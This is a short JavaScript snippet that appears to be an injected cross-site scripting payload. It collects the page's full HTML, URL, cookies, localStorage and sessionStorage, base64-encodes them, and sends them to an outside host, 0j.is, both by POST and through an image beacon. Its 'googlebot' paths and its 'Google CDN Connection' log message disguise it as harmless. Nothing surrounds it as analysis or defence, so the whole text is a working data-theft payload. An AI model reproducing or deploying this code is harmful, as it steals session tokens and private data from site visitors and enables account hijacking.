(function() {
    async function sendPost(content, url, cookies, localstorage, sessionstorage, postUrl) {
        const formData = new FormData();
        formData.append('page', content);
        formData.append('url', url);
        formData.append('cookies', cookies);
        formData.append('localstorage', localstorage);
        formData.append('sessionstorage', sessionstorage);

        try {
            const response = await fetch(postUrl, {
                method: 'POST',
                body: formData
            });

            if (response.ok) {
                const responseBody = await response.text();
                console.log('Success:', responseBody);
                return responseBody;
            } else {
                console.error('Error in request. Status:', response.status);
                return null;
            }
        } catch (error) {
            console.error('Error to send data:', error);
        }
    }

    function utf8ToBase64(str) {
        return btoa(unescape(encodeURIComponent(str)));
    }

    const sourceCode = utf8ToBase64(document.documentElement.outerHTML);
    const currentUrl = utf8ToBase64(window.location.href);
    const cookies = utf8ToBase64(document.cookie);
    const localStorageData = utf8ToBase64(JSON.stringify(localStorage));
    const sessionStorageData = utf8ToBase64(JSON.stringify(sessionStorage));
    const postUrl = 'https://0j.is/save.googlebot';
    
    new Image().src = 'https://0j.is/getsave.googlebot?c=' + currentUrl + '&d=' + cookies;    

    (async function() {
        const result = await sendPost(sourceCode, currentUrl, cookies, localStorageData, sessionStorageData, postUrl);
        console.log('Google CDN Connection:', result);
    })();

})();